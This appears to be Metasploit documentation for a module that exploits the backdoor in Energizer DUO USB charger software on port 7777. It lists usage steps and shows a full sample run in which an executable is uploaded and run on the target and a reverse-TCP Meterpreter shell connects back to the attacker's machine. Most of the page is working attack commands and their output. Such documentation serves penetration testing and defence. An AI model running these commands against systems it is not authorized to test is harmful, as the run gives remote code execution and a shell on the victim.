Brent Cook
8489bcdfd9
Performed mechanically with sed, spot-checked that the new blog can consume these links.
1.3 KiB
1.3 KiB
Vulnerable Application
More information can be found on the Rapid7 Blog. Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777.
The software can be downloaded from the Wayback Machine.
Verification Steps
- Install the vulnerable software
- Start msfconsole
- Do:
use exploit/windows/backdoor/energizer_duo_payload - Do:
set rhost - Do:
set payload - Do:
exploit
Scenarios
A run against the backdoor
msf > use exploit/windows/backdoor/energizer_duo_payload
msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132
msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228
msf exploit(energizer_duo_payload) > exploit
[*] Started reverse handler on 192.168.0.228:4444
[*] Trying to upload C:\NTL0ZTL4DhVL.exe...
[*] Trying to execute C:\NTL0ZTL4DhVL.exe...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200)
meterpreter > getuid
Server username: XPDEV\Developer